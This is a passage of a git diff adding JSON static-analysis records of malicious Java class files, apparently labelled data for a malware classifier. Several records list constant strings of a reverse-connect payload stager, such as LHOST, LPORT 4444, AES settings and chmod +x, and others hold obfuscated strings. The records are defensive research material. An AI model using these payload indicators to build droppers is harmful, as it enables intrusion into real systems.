"gemgjjroxmhohadzl", "wcswrmfpuhmo", "odfsbrftigpbbhzlidx", "fvkqbncbrsopuaymqj", "qwvflamuzwiddlpxm", "neqlpvqapqjioftdny", "yzfpskksgugttcogftmea", "oolxwawlnmhwycxnrfj", "lzmktdvnhcpkmzugdao", "uldfonqxifyusjwzpv", "kjdykvfojxbkqdcbd", "rrqbaopbqbcsb", "dwjuwjuvacnopqdpowl", "osjxygqwytvhtbxez", "unupoxgilzva", "uvpktklootfnhfungyawq", "exyikwclouteujkuqr", "yustatuqwcqhmwgpiooq", "mzqoschhopopao", "sbqsfnjrmevevxljurpf", "edzqluxgelcooy", "wglzezptzdxppgglgve", "sdvvbkjbmqvnggk", "fttcgqstuqjsefbmckgc", "izurpkgdnqfte", "pmniktdsbgzvdtfuj", "lnlajkfqjevlb", "oheugifrwprw", "rxmbpitozafzavq", "docjdbcwxrljxzfbh", "owtcpcfyrybmw", "gmgeutpwfkgiajazefjbd", "rcvlkygcelnaliyy", "pvlutyjwlanungxs", "rbuvjgqmluzmdafyddg", "ibuzxpflixlgpvrg", "ktfyyoqgycodovbsaol", "dmkbfzwdxikcumqw", "ykhyspecpznyfydhb", "hgxidzqxurimxzrcoiuyk"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "61b0788aba20cfeb8cf873b0f0d32eed1ddc676a", "file_name": "java_malicious/dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637", "_id": "ef0e144a-7a25-4533-9f52-d2215c3bf9a5", "score": 0, "entropy": 5.949005393329615, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5636, "ssdeep": "96:cJWDE0R1VcGcD98SQUhGa/dgj8coJsEt9e95WoGpa6EDd:vLVcX8uGKggsUxpY", "sha256": "dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637", "md5": "164515c0f028d65430517ba8fa6187b8", "parent_sha256": "dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637"}} \ No newline at end of file diff --git a/java_classification/data/malicious/df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85.results b/java_classification/data/malicious/df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85.results new file mode 100755 index 0000000..3d4057a --- /dev/null +++ b/java_classification/data/malicious/df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "SkcwwqIHLs/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "584f9207-19a1-4a7a-b716-f41d8c07a8ae", "verbose": {"java": {"constant strings": ["SkcwwqIHLs.Payload", ".class", "/SkcwwqIHLs.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "SkcwwqIHLs.dat", "URL", "", "https:", "SkcwwqIHLs/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "SkcwwqIHLs/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "SkcwwqIHLs.PayloadTrustManager", "useFor", "java.net.URLConnection", "SkcwwqIHLs.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javavPNpMsg.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "862d4a73a28b2be0f90d4f8e4bb8e8a55753abe6", "file_name": "java_malicious/df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85", "_id": "584f9207-19a1-4a7a-b716-f41d8c07a8ae", "score": 0, "entropy": 6.143082002803885, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMQDUBV+WW7ThmQ38x9IJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1t8VItm9HNvpvUrKYvCkgHzbDrDF", "sha256": "df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85", "md5": "270c5fb07d593d61736947ef427f2a56", "parent_sha256": "df0e5588a1521bf35635cca8f825228739f0aeca6c1a31650f6289ac48f7eb85"}} \ No newline at end of file diff --git a/java_classification/data/malicious/df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f.results b/java_classification/data/malicious/df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f.results new file mode 100755 index 0000000..b6a1448 --- /dev/null +++ b/java_classification/data/malicious/df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "iMyWeJ.java", "class_name": "qYgzrtb/iMyWeJ", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "uutgh", "xOcPJShQ"], "minor_version": 0, "const_pool_count": 124}}, "_id": "e9416d58-562b-467f-8340-4a5f434f8591", "verbose": {"java": {"constant strings": ["|w`w8esucd\\x7fbo8WzzFsd{\\x7fee\\x7fyx", "|w`w8esucd\\x7fbo8Fsd{\\x7fee\\x7fyxe", "wrr", "|w`w8esucd\\x7fbo8Fsd{\\x7fee\\x7fyx", "|w`w8esucd\\x7fbo8usdb8Usdb\\x7fp\\x7fuwbs", "|w`w8xsb8CDZ", "|w`w8esucd\\x7fbo8UyrsEycdus", "|w`w8esucd\\x7fbo8Fdybsub\\x7fyxRy{w\\x7fx", "|w`w8esucd\\x7fbo8Fsd{\\x7fee\\x7fyxUyzzsub\\x7fyx", "{sBroCSp\\\\", "cdz", "wffzsbIuzwee", "newInstance"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b069b767fdd3dea7f9460d78c961747b541790bb", "file_name": "java_malicious/df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f", "_id": "e9416d58-562b-467f-8340-4a5f434f8591", "score": 0, "entropy": 5.902088216668219, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2751, "ssdeep": "48:02rTyFlxTTMqMjiacgk1zps50NFCln4Uacmjw1ocwG9qH:nqFl1TMHjRchAgClvLbdE", "sha256": "df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f", "md5": "d84f0b6c92cab9936b26ab99da0bc8a5", "parent_sha256": "df94b04a3cd3a71618c5706260d184298d7f153981f793990c2155efd72b808f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d.results b/java_classification/data/malicious/e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d.results new file mode 100755 index 0000000..1bf1321 --- /dev/null +++ b/java_classification/data/malicious/e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "AZrZOlUTYA/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "3b438280-b2df-4eca-ad97-62d29a5e34b7", "verbose": {"java": {"constant strings": ["AZrZOlUTYA.Payload", ".class", "/AZrZOlUTYA.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "AZrZOlUTYA.dat", "URL", "", "https:", "AZrZOlUTYA/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "AZrZOlUTYA/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "AZrZOlUTYA.PayloadTrustManager", "useFor", "java.net.URLConnection", "AZrZOlUTYA.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaOBChXaE.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "01cbc71cfa2ee9cceb605f7cfae33cc4fc530e10", "file_name": "java_malicious/e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d", "_id": "3b438280-b2df-4eca-ad97-62d29a5e34b7", "score": 0, "entropy": 6.14276942263525, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM/DUBn+WloqThmolx0IJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tpn3tmQ0NvpvUrKYvCkgHzbDrDF", "sha256": "e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d", "md5": "1302840f471df1a3e93c99f02fb86983", "parent_sha256": "e023be51fcd3fb5b92e8e46051a48dcee96e75e30089fc2ef60bbfd7f2d8d03d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213.results b/java_classification/data/malicious/e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213.results new file mode 100755 index 0000000..2f62e91 --- /dev/null +++ b/java_classification/data/malicious/e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AvGNhu.java", "class_name": "qYgzrtb/AvGNhu", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "okPWB", "dUeWed", "zecVRV", "", "NUVQxZC", "init"], "minor_version": 0, "const_pool_count": 204}}, "_id": "1782522b-03f3-4e06-8bc3-377cd4664e6f", "verbose": {"java": {"constant strings": ["szs{sxbPdy{Uy{fzsn", "|w`w8zwxq8Yt|sub|w`w8zwxq8Ebd\\x7fxq", "rsuzwdsr[sb~yre", "uy{8ecx8|{n8{tswxesd`sd8\\\\{n[TswxEsd`sd", "xsa[TswxEsd`sd", "|w`w8zwxq8Ebd\\x7fxq|w`wn8{wxwqs{sxb8[TswxEsd`sd|w`wn8{wxwqs{sxb8[TswxEsd`sdRszsqwbstyyzswx", "", "qsb[Tswx_xebwxb\\x7fwbyd", "p\\x7fxrUzwee", "|w`w8zwxq8Ebd\\x7fxq|w`w8zwxq8UzweeZywrsd", "ecx8ydq8{yl\\x7fzzw8|w`weud\\x7ffb8\\x7fxbsdxwz8Uyxbsnb", "ecx8ydq8{yl\\x7fzzw8|w`weud\\x7ffb8\\x7fxbsdxwz8QsxsdwbsrUzweeZywrsd", "uy{8ecx8|{n8{tswxesd`sd8_xbdyefsubyd", "sxbsd", "udswbsUzweeZywrsd", "rsp\\x7fxsUzwee", "cdz", "YFq\\\\yB", "wffzsbIuzwee", "xsa_xebwxus", "\\'&&&&&", "uwpstwts&&&&&&%\\'&&rr&w&&%r&&#u&w&&#r&&#s&!&&#p&w&&&%&&#u&/&&%u&& &&.&& \\'&.&& $&w&&%u&& %&w&&&%&& \"&.&& #&w&&&%&& &w&&%u&& !&!&& .&w&&&r&& /&w&& w&& t&w&&%u&& u&!&& r&w&&\\'\\'&& s&w&&\\'\\'&& p&!&&!&&w&&\\'\"&& s&w&&!\\'&&!$&w&&!%&&!\"&w&&\\'\"&&!#&w&&\\'\"&&! &w&&!%&&! &w&&!\\'&&!!&.&&!.&.&&!/&/&&%u&&!w&w&&!t&&!u&w&&!r&&!s&w&&!p&&.&&w&&\\'\\'&&.\\'&w&&.$&& &.&&.%&.&&.\"&w&&.#&&. &w&&.#&&.!&.&&..&.&&#$&w&&./&&.w&w&&.#&&.t&w&&./&&.u&w&&.r&&.s&w&&.#&&.p&w&&.#&&/&&w&&%u&&/\\'&w&&.#&&/$&w&&%u&&/%&w&&.#&&/\"&!&&/#&w&&%\"&&#u&w&&%\"&&/ &w&&&%&&/!&.&&/.&w&& w&&//&w&&%u&&/w&.&&/t&!&&/u&!&&/r&!&&/s&\\'&&&% p!#!\"&\\'&&\\'.\"u w \\'! \\'$p / p$p\"$!# #!$ # \"#!!$ /!\" #!$%t&\\'&&&$ / s&\\'&&\\'.\"u w \\'! \\'$p / p$p\"$!# #!$ # \"#$ # \\' \" #!$%t&\\'&&&\\'!%&\\'&&\\'\\'\"u w \\'! \\'$p s #!\"$p#% p % t #!\"%t&\\'&&&%!#!$ u&\\'&&\\'$\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t&\\'&&&u \\'!&!& u #!\"#p % u \\'!%!%&\\'&&\\'\\'\"u w \\'! \\'$p u \\' s !$p\"% u \\'!%!%%t&\\'&&& %u / s /!\"%s&\\'&&&%$.$/# &\\'&&&\"\"% p \" #&\\'&&&p\"u / s #\"s!# r $ #!$#\" \\' $ u #&\\'&&&%!$!# s&\\'&&\\'\"$.$/\"u w \\'! \\'$p u \\' s !$p\"p $ w # %!\"%t&\\'&&&.\"w .\"p\"w\"u#\\'\"t!&&\\'&&&w\"! #!\"\"w \\'!$\"s \\' r #&\\'&&\\'\"$.$/\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t&\\'&&&%\"r\"\"%#&\\'&&$ $.\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t$/\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t&\\'&&\\'\"# \\' u / \" \\'!\" ##% # %!#!$ /!\"!/\" !# s %&\\'&&\"w$.\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t$/\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t&\\'&&\\'\\'#$ \\' s \" p r#%!\"!$ / s !\"\\'#%\"%\"/\"/&\\'&&\\'#$.\"/$/\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t&\\'&&&t ! #!\"\" / u ##& \\'!\" .&\\'&&&.%u % u / s /!\"%s&\\'&&&w#% p!#!$ % #\" / u #&\\'&&&s r ##\" \"!/##\"# \"w$s w \\'! \\'&u&&\"/&&\"w&!&&/p&u&&w&&&w\\'&\\'&&\\'! w \\'! \\'$p u \\' s !$p#%!\"!$ / s !\"$!# / u \" #!$&u&&\"#&&\" &\\'&&&/\"$ s!/!w $!w\"$ !w&\\'&&&%\"\" \\'#!&u&&#\"&&##&u&&w$&&w%&\\'&&&#$ .%r%\\'%\\'&u&&w\"&&#\\'&u&&\"p&&\"w&\\'&&\\'% w \\'! \\'$p u \\' s !$p\"#!. % #!&!\" / p s&u&&w#&&\"w&!&&w &u&&w!&&w.&u&&#.&&#\\'&\\'&&&u w \\'! \\'$p s #!\"$p###$\"u&u&&\"/&&w/&u&&ww&&wt&\\'&&\\'. w \\'! \\'$p / p$p\" / u #\"p!#!\"!&!#!\"#%!\"!$ # \\' r&!&&wu&u&&wr&&ws&!&&wp&u&&t&&&t\\'&u&&t$&&t%&u&&t\"&&\"w&u&&t#&&t &\\'&&&r!$ # !!%! !$%%%$$&$r!%$&$$&\\'&&&\\'$$&u&&\"!&&\".&!&&t!&u&&t.&&t/&!&&tw&u&&tt&&tu&!&&tr&u&&ts&&tp&u&&u&&&u\\'&!&&u$&\\'&&&\\'#u&\\'&&&\\'$p&!&&u%&u&&u\"&&u#&u&&u &&u!&\\'&&&&&!&&u.&u&&u/&&uw&u&&ut&&uu&u&&ur&&us&!&&up&u&&r&&&#!&u&&r\\'&&r$&u&&r%&&r\"&u&&#$&&#%&u&&r#&&r &u&&#&&&#\\'&u&&r!&&r.&\\'&&\\'& w \\'! \\'$p!#!\" / u$p#$ \\' s \" p r&u&&r/&&rw&u&&w$&&rt&\\'&&&s w \\'! \\'$s / p$s!\" r!& \" /!$&u&&ru&&#%&u&&# &&#!&\\'&&&\"$s #!. #&\\'&&&/ r ##\" \"!/##\"# \"w&\\'&&\\'& w \\'! \\'$p u \\' s !$p\"p $ w # %!\"&\\'&&$! w \\'! \\'$p!% # %!#!$ /!\"!/$p#&!$ /! / u # ! # \"\"#!. % #!&!\" / p s\"\\' %!\" / p s&\\'&&\\'s w \\'! \\'$p!% # %!#!$ /!\"!/$p\"\\' % % #!%!%\"% p s!\"!$ p u u #!$&\\'&&&u \" p#&!$ /! / u # ! # \"&\\'&&%r$.\"u w \\'! \\'$p!% # %!#!$ /!\"!/$p#&!$ /! / u # ! # \"\"#!. % #!&!\" / p s\"\\' %!\" / p s%t$/\"u w \\'! \\'$p u \\' s !$p\"p $ w # %!\"%t&\\'&&& \\'!&!& # s \"&\\'&&$r$.\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t$/\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !\"$!# / u \" #!$%t&\\'&&&.!\" p#%!\"!$ / s !&\\'&&&p!&!$ / s!\"#%!\" \\' % t#\"!$ \\' % #&\\'&&\\'& w \\'! \\'$p u \\' s !$p#%!/!%!\" # r&\\'&&\\'$!% #!\"#% # %!#!$ /!\"!/\"r \\' s \\' ! #!$&\\'&&\\'s$.\"u w \\'! \\'$p u \\' s !$p#% # %!#!$ /!\"!/\"r \\' s \\' ! #!$%t$/# &\\'&&\\'#$.\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t$/# &\\'&&&w p!& # s#%!\"!$ # \\' r&\\'&&\\'!$.$/\"u w \\'! \\'$p / p$p\"/ s!&!#!\"#%!\"!$ # \\' r%t&\\'&&\\'\\' w \\'! \\'$p u \\' s !$p#$!# s!\" / r #&\\'&&&w ! #!\"#$!# s!\" / r #&\\'&&\\'#$.$/\"u w \\'! \\'$p u \\' s !$p#$!# s!\" / r #%t&\\'&&\\'% w \\'! \\'$p / p$p\"/ s!&!#!\"#%!\"!$ # \\' r&\\'&&&\"!$ # \\' \"&\\'&&&!$.#t\"$\"/\"/$/\"/&\\'&&&#!!!$ /!\" #&\\'&&&!$.#t\"$\"/\"/$/# &\\'&&&# % u p!% #&\\'&&&\" #!. # %&\\'&&$!$.\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t$/\"u w \\'! \\'$p u \\' s !$p#&!$ p % #!%!%%t&\\'&&&p w \\'! \\'$p u \\' s !$p\"% u \\'!%!%&\\'&&\\'% ! #!\"#&!$ p!\" # %!\" / p s\"\" p r \\' / s&\\'&&$$$.$/\"u w \\'! \\'$p!% # %!#!$ /!\"!/$p#&!$ p!\" # %!\" / p s\"\" p r \\' / s%t&\\'&&\\'s w \\'! \\'$p!% # %!#!$ /!\"!/$p#&!$ p!\" # %!\" / p s\"\" p r \\' / s&\\'&&&r ! #!\"\"% p \" ##% p!#!$ % #&\\'&&\\'u$.$/\"u w \\'! \\'$p!% # %!#!$ /!\"!/$p\"% p \" ##% p!#!$ % #%t&\\'&&\\'. w \\'! \\'$p!% # %!#!$ /!\"!/$p\"% p \" ##% p!#!$ % #&\\'&&&t ! #!\"\"u p % \\'!\" / p s&\\'&&\\'&$.$/\"u w \\'! \\'$p s #!\"$p###$\"u%t&\\'&&&#!\" p###$\"/&\\'&&\\'&$.$/\"u w \\'! \\'$p s #!\"$p###$\"/%t&\\'&&&u w \\'! \\'$p s #!\"$p###$\"/&\\'&&\\'& w \\'! \\'$p u \\' s !$p#%!\"!$ / s !&\\'&&&!!$ #!& u \\' % #&\\'&&\"\"$.\"u w \\'! \\'$p u \\' s !$p\"% . \\'!$#% #!\\'!# # s % #%t\"u w \\'! \\'$p u \\' s !$p\"% . \\'!$#% #!\\'!# # s % #%t$/\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t&\\'&&&#!%!& u /!\"&\\'&&$!$.\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t$/#t\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t&\\'&&\\'t w \\'! \\'$p!% # %!#!$ /!\"!/$p\"r #!%!% \\' ! #\"\" / ! #!%!\"&\\'&&&t ! #!\"\"/ s!%!\" \\' s % #&\\'&&%\\'$.\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t$/\"u w \\'! \\'$p!% # %!#!$ /!\"!/$p\"r #!%!% \\' ! #\"\" / ! #!%!\"%t&\\'&&&. ! #!\"\"$!/!\" #!%&\\'&&&\"$.$/#t\"$&\\'&&& \" / ! #!%!\"&\\'&&& $.#t\"$$/#t\"$&\\'&&\\'\\' w \\'! \\'$p u \\' s !$p\"/ s!\" # ! #!$&\\'&&&t!\" p\". #!.#%!\"!$ / s !&\\'&&&/!%!# $!%!\"!$ / s !&\\'&&\\' $.\"/\"/$/\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t&\\'&&& u # s !!\" .&\\'&&&%$.$/\"/&\\'&&& #!\\'!# \\' u!%&\\'&&\\'#$.\"u w \\'! \\'$p u \\' s !$p\"p $ w # %!\"%t$/#w&\\'&&&! / s \" #!.\"p &\\'&&\\'#$.\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !%t$/\"/&\\'&&&! s #!.!\"\"/ s!\"&\\'&&&\"$.\"/$/\"/&\\'&&\\'u$.\"%$/\"u w \\'! \\'$p u \\' s !$p#%!\"!$ / s !\"$!# / u \" #!$%t&\\'&&&t ! #!\"#&!$ p!& #!$!\"!/&&$\\'&&%u&&%r&&&\\'&&%s&&&#&&&&&&%p&&\"&&&&&&&&&&&\"\\'&&\"$&&&&&&&&&&\"%&&\"\"&&&&&&&/&&\"#&&\" &&&&&&&/&&\"!&&\".&&&&&&&/&&&\\'&&\"/&&\"w&&&\\'&&\"t&&&&&&! &&&#&&&$&&&&&&%w$wt!&&&\\'$wt.&&&$#!$w#!tt&&&%#/t!&&&\"$w$w#!t$&&&#\\'$& \\'$&!t &&&.t &&&/\\'$&wt &&&/t &&&tt%&&&#$wt &&&uw!&&&.\"u$tt &&&st\\'&&&\\'&&&\"&&%\\'&&%\"&&&r&&&\\'&&\"u&&&&&&$$&&&.&&&&&&\\'\"&&&\"&&\\' &&&/&&\\'!&&$r&&\\'.&&%\\'&&\\'t&&%\"&&\\'/&&%#&&\\'w&&%/&&\\'u&&&\\'&&\"r&&\"s&&&\\'&&\"t&&&&&&$$&&&\\'&&&\\'&&&&&&& &\\'t.&&&p&\\'t&&&&&&&&\\'&&\"u&&&&&&&w&&&$&&&&&&\\'p&&&\"&&$&&&&&&&\"p&&\"w&&&\\'&&\"t&&&&&&p&&&&\"&&&/&&&&&&..t.&&\\'&\"rtt&&\\'\\'#/$w#!t$&&&#t!&&\\'$\"s$rt &&\\'%%w&\"tt&&\\'\"#/$ut!&&\\'#%w&#t.&&\\' %w& \\'\\'&\"&&tu&.%w&!\\'/&\"\\'/&!&%\\'\\'&\"&&t &&\\'!#/%u&$/p&&&p\\'/&#\\'/&!&%\\'tt &&\\'.w!pps \\'/&#t &&\\'/\\'/&\"t &&\\'w\\'/& $ut &&\\'t#!w!&&&#%w&.\\'/& tt&&&%#/t!&&&\"\\'$\\'ut &&&/$ut &&&/\\'$\\'rt &&&/t &&&tt &&\\'t#!w!&&&#%w&.w!&&&\"\"ut\\'&&&%&&#\"&&#t&&#s&&&r&& &&&!s&&.\\'&&&r&&&&&&.%&&. &&&r&&&\\'&&\"u&&&&&&%s&&&p&&&&&&$ &&&\"&&$!&&\\'\\'&&$.&&\\'!&&$/&&$\\'&&$w&&$ &&$t&&$r&&$u&&\"w&&$r&&\"p&&$s&&#\"&&%&&&#t&&%\\'&& &&&%%&&!s&&%\"&&.%&&%#&&.!&&%!&&&\\'&&#&&&#\\'&&&\\'&&\"t&&&&&&#s&&&%&&&%&&&&&&$s$w#!t$&&\\'st &&\\'pt &&$&t &&$\\'t &&$$t &&$%\"u$t\\'$$\"\\'$$#t &&$ \\'$$#t &&$!\"r$u$uts&\" \"%$t&\"u\\'$$.t&&&&\\'&&&&&&$/&&$w&&&r&&&\\'&&\"u&&&&&&\\' &&&#&&&&&&%u&&\\'#&&%r&&$%&&%s&&$w&&%p&&$t&&\"&&&&\\'&&#$&&#%&&&\\'&&\"t&&&&&&.u&&&\"&&& &&&&&&\"u\\'$$/t.&&$w\"r$u$tt &&$tt &&$u\"stt&&&%#/t!&&&\"%w&\"&%% &#\\'#&#$rtsw$&&$%\\'/&\"$r\\'#&#%%\\'\\'&&pp!s\\'\\'&\\'&&.&t.&&$r&\"& t &&$st &&&/#!.\"&#&\\'w!ppru\\'/&\"t &&&tt&\"r\\'$$.t&&&&\\'&&&&&&\"!&&\".&&&r&&&\\'&&\"u&&&&&&$ &&&/&&&&&&\".&&& &&\"w&&&p&&\"t&&\\'.&&\"u&&$$&&\"r&&%u&&\"u&&\"$&&\"p&&\".&&#&&&\"/&&#\\'&&&\\'&&#\"&&##&&&\\'&&\"t&&&&&&/&&&&\"&&& &&&&&& \"$ut &&$p& w\\'&&&t$rt &&$p& w$&&& \\'$$.t&$t$tt &&$p&. \"$tt &&$pt &&$s%w&\"$t&%$tt &&$p&. \"t &&$s%w&#$wtt&&&%#/t!&&&\"\\'/&#t &&&/$ut &&&/t &&&tt &&%&&%&.t &&$s\\'/&\"t &&%\\'/w&&&s$wt &&%$$rt &&%%/t&&&#$tt&\\'$$.t&&&&&&&&\\'&&\"u&&&&&&\\'w&&& &&&&&&##&&\\'%&&# &&$%&&#!&&%&&&#.&&#p&&#/&& \\'&&#w&&&/&&# &&#!&&&\\'&&\"t&&&&&& $&&&\"&&&\"&&&&&&% \\'$$.\"utt&&%\"#/t!&&%#\"r&%%s\\'r\\'ww$&&$#tt&&&%#/t!&&&\"$tt &&&/\\'& \\'$u\\'&\\'/t &&% &/$t &&%!t &&&t\"u.\"&%&\\'w!ppru$tt&&&&&&&&\\'&&\"u&&&&&&\\'w&&& &&&&&&#p&&&%&& &&&&t&& \\'&&\\'$&& $&&$s&& \\'&&%\"&& %&&&/&&#.&&#\\'&&&\\'&&\"t&&&&&&%.&&&$&&&&&&&&&&$&tt&&&%#/t!&&&\"\\'$%.t.&&%/t &&&/\\'&\\'%t.&&%wt &&&/\\'$%tt &&&/t &&&tt&&&&&&&&\\'&&\"u&&&&&&& &&&\\'&&&&&& !&&&.&&#/&&\"w&&&\\'&&\"t&&&&&&$#&&&\\'&&&&&&&&&&&/&\\'t%&&&#&\\'t%&&\\'st\\'&&&&&&&\\'&&\"u&&&&&&&w&&&$&&&&&&\\'\\'&&&\"&&\\'$&&&\\'&&#w&&&&&&&$&&#t"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d07bd0ecd7ef45289588157ee17471fb25e61cd5", "file_name": "java_malicious/e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213", "_id": "1782522b-03f3-4e06-8bc3-377cd4664e6f", "score": 0, "entropy": 5.169811666374152, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 11516, "ssdeep": "192:K2nlckwAOyg7/bvVps57+yy7qbTCtLtB3k987gEpZuxwS47luGZ5ldlQgo0FSwFc:FnYvxVZ9kYWmj3VFfF9EsaFRSpUvxF", "sha256": "e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213", "md5": "e74d16c6165b670bc31073b9a52242ea", "parent_sha256": "e1afb74a2e9ceda033a520c2be97a0a4caa39fe50256dbf21e2dd91ce63c3213"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f.results b/java_classification/data/malicious/e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f.results new file mode 100755 index 0000000..0bb9f88 --- /dev/null +++ b/java_classification/data/malicious/e2c6bea5421ed536fe5f73bcb3860d027fcc582d2c058797e1b23b3010fcf22f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "b23c6fdb-4689-44f3-9173-8c05167ce61b", "verbose": {"java": {"constant strings": 